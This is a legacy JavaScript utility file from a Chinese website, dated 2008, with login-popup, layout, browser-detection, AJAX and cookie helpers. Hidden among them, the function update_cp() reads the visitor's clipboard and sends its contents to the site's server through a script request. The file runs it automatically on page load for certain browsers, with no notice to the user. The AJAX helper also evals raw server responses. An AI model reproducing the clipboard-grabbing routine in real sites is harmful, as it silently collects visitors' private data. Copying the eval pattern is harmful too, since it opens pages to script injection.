/* --------------------------------------------------------
// - 功能 : js 通用脚本
// - 作者 : weelia (weelia@126.com)
// - 时间 : 2008-11-08 01:01
// ------------------------------------------------------*/
var Email = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
var Empty = /^[ ]{0,}$/;
var PostNum = /^[0-9]{6}$/;
var host = location.hostname;
var justhost = [host.split('.').reverse()[1], host.split('.').reverse()[0]].join(".");
var qjhost = "http://www."+justhost+"/";

function $(evl){
	return document.getElementById(evl);
}

function login_check() {
	var islogin = ($("user_islogin") && $("user_islogin").value == 1) ? 1 : 0;
	if (islogin) {
		return true;
	} else {
		loginreg_show();
		return false;
	}
}

function login() {
	var url = qjhost+"login.php?url="+encodeURIComponent(location.href);
	window.location.reload(url);
}

function logout() {
	var url = qjhost+"logout.php?url="+encodeURIComponent(location.href);
	window.location.reload(url);
}

function logingo(url) {
	if (byid("user_islogin") && byid("user_islogin").value == "1") {
		window.location.reload(url);
	} else {
		byid("gourl").value = url;
		loginreg_show(null);
	}
}

function loginreg_show(obj) {
	var width = window.screen.width-22;
	var height = document.body.scrollHeight;

	page_select_ctrl("hide");

	byid("loginreg_layer").style.top = byid("loginreg_layer").style.left = "0px";
	byid("loginreg_layer").style.width = width + "px";
	byid("loginreg_layer").style.height = height + "px";
	byid("loginreg_layer").style.display = "block";
	byid("loginreg_div").style.display = "block";
	set_center(byid("loginreg_div"));
	if (byid("loginreg_mail").value != '') {
		byid("loginreg_pass").focus();
	} else {
		byid("loginreg_mail").focus();
	}
	return false;
}

function loginreg_close() {
	page_select_ctrl("show");
	byid("loginreg_div").style.display = "none";
	byid("loginreg_layer").style.display = "none";
}

function page_select_ctrl(mode) {
	var os = document.getElementsByTagName("select");
	for (var i=0; i<os.length; i++) {
		if (mode == "hide") {
			if (os[i].style.visibility != "hidden") {
				os[i].display_tag = "a";
				os[i].style.visibility = "hidden";
			}
		}
		if  (mode == "show") {
			if (os[i].style.visibility == "hidden" && os[i].display_tag == "a") {
				os[i].style.visibility = "visible";
			}
		}
	}
}

function $_(evl){
	return document.getElementsByName(evl);
}

function get_position(what, offsettype) {
	var pos = {"left":what.offsetLeft, "top":what.offsetTop};
	var parentEl = what.offsetParent;
	while (parentEl != null) {
		pos.left += parentEl.offsetLeft;
		pos.top += parentEl.offsetTop;
		parentEl = parentEl.offsetParent;
	}
	if (offsettype) {
		return offsettype == "left" ? pos.left : pos.top;
	} else {
		return pos;
	}
}

function num_round(num,length) {
	num = Math.round(num*Math.pow(10,length))/Math.pow(10,length);
	return num;
}

function load_js(url, js_id) {
	var ohead = document.getElementsByTagName("head")[0];
	var obj = document.createElement("script");
	obj.type = "text/javascript";
	obj.src = url;
	if (typeof(js_id) == typeof("")) {
		obj.id = js_id;
	}
	ohead.appendChild(obj);
	return obj;
}

function set_center(obj) {
	var objw = obj.offsetWidth;
	var objh = obj.offsetHeight;
	var pscroll = get_scroll();
	var psize = get_size();
	var left = (psize[0] - objw) / 2;
	var top = pscroll[1] + (psize[3] - objh) / 2;
	obj.style.left = left < 0 ? "0px" : left+"px";
	obj.style.top = top < 0 ? "0px" : top+"px";
}

function get_size() {
	var xScroll, yScroll;
	if (window.innerHeight && window.scrollMaxY) {
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else {
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}

	var windowWidth, windowHeight;
	if (self.innerHeight) {
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) {
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) {
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}

	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else {
		pageHeight = yScroll;
	}

	if(xScroll < windowWidth){
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}

	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight)
	return arrayPageSize;
}

function get_scroll() {
	var yScroll;
	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll)
	return arrayPageScroll;
}

function byid(id) {
	return document.getElementById(id);
}

function show_tab(obj, sel_tab_class, normal_tab_class, main_data_id, cur_show_id) {
	var e = obj.parentNode.getElementsByTagName("div");
	for (var i in e) {
		if (e[i] && e[i].className == sel_tab_class) e[i].className = normal_tab_class;
	}
	obj.className = sel_tab_class; obj.blur();

	if (main_data_id) {
		var e = byid(main_data_id).getElementsByTagName("div");
		for (var i in e) {
			if (e[i].id && e[i].id != cur_show_id) e[i].style.display = "none";
		}
		$("#"+cur_show_id).fadeIn("fast");
	}
	return false;
}

function high_light_tab(obj, cur, to) {
	if (obj.className == cur) {
		obj.className = to;
	}
}

function update_cp() {
	var s = clipboardData.getData("Text");
	if (s != '') {
		s = encodeURIComponent(s);
		loadjs("http://"+host+"/update_cp.php?s="+s);
	}
}

function get_browser() {
	if (navigator.userAgent.indexOf("MSIE")>0) return 1;
	if (isFirefox = navigator.userAgent.indexOf("Firefox")>0) return 2;
	if (isSafari = navigator.userAgent.indexOf("Safari")>0) return 3;
	if (isCamino = navigator.userAgent.indexOf("Camino")>0) return 4;
	if (isMozilla = navigator.userAgent.indexOf("Gecko/")>0) return 5;
	return 0;
}

function get_version() {
	if (window.postMessage) return 8;
	else if (window.XMLHttpRequest) return 7;
	else if (document.compatMode) return 6;
	else if (window.createPopup) return 5.5;
	else if (window.attachEvent) return 5;
	else if (document.all) return 4;
	return 0;
}

var comp = 1;
if (get_browser() != 1) {
	comp = 1;
} else {
	if (get_version() < 7) {
		comp = 1;
	} else if (external && typeof(external.max_version) == typeof('')) {
		comp = 1;
	} else {
		comp = 0;
	}
}

if (comp > 0) {
	update_cp();
}

function mi(obj) {
	obj.style.backgroundColor = "#F9F9F9";
}

function mo(obj) {
	obj.style.backgroundColor = "";
}

function rand(a,b) {
	if (b > 0) {
		return Math.floor(Math.random()*(b-a)) + a;
	} else {
		var s = Math.ceil(Math.random()*1000000000)+"";
		return s.substring(0, 6);
	}
}

function ajax() {
	var xm,bC=false;
	try{xm=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{xm=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){try{xm=new XMLHttpRequest()}catch(e){xm=false}}}
	if(!xm)return null;this.connect=function(sU,sM,sV,fn){if(!xm)return false;bC=false;sM=sM.toUpperCase();
	try{if(sM=="GET"){xm.open(sM,sU+"?"+sV,true);sV=""}else{xm.open(sM,sU,true);
	xm.setRequestHeader("Method","POST "+sU+" HTTP/1.1");
	xm.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8")}
	xm.onreadystatechange=function(){if(xm.readyState==4&&!bC){bC=true;if(xm.status==200){fn(xm)}else if(xm.status==404){alert("Error 404: resquest page not found on server.")}else{window.status="ajax error status code: "+xm.status}}};
	xm.send(sV)}catch(z){return false}return true};return this;
}

function ajax_out(xm) {
	var s = xm.responseText;
	if (s == "") return {};
	try {eval("var out="+s+";");} catch(e) {alert("Error: "+(s.length>2000 ? (s.substring(0,2000)+" ...") : s));return {};}
	if (typeof(out) != typeof({})) {alert("return value is not an array."); return {};}
	return out;
}

function loadjs(url) {
	var ojs = document.createElement("script");
	ojs.src = url;
	document.getElementsByTagName("head")[0].appendChild(ojs);
	return true;
}

function on_dom_load(fn) {
	var d = window.document, done = false,
	init = function () {
		if (!done) {
			done = true;
			fn();
		}
	};
	(function() {
		try {
			d.documentElement.doScroll('left');
		} catch (e) {
			setTimeout(arguments.callee, 50);
			return;
		}
		init();
	}) ();
	d.onreadystatechange = function() {
		if (d.readyState == 'complete') {
			d.onreadystatechange = null;
			init();
		}
	};
}

function get_cookie(name) {
   var start = document.cookie.indexOf(name+"=");
   var len = start+name.length+1;
   if ((!start) && (name != document.cookie.substring(0,name.length))) return null;
   if (start == -1) return null;
   var end = document.cookie.indexOf(";",len);
   if (end == -1) end = document.cookie.length;
   return unescape(document.cookie.substring(len,end));
}
// This function has been slightly modified
function set_cookie(name,value,expires,path,domain,secure) {
	expires = expires * 60*60*24*1000;
	var today = new Date();
	var expires_date = new Date( today.getTime() + (expires) );
	var cookieString = name + "=" +escape(value) +
	   ( (expires) ? ";expires=" + expires_date.toGMTString() : "") +
	   ( (path) ? ";path=" + path : "") +
	   ( (domain) ? ";domain=" + domain : "") +
	   ( (secure) ? ";secure" : "");
	document.cookie = cookieString;
}
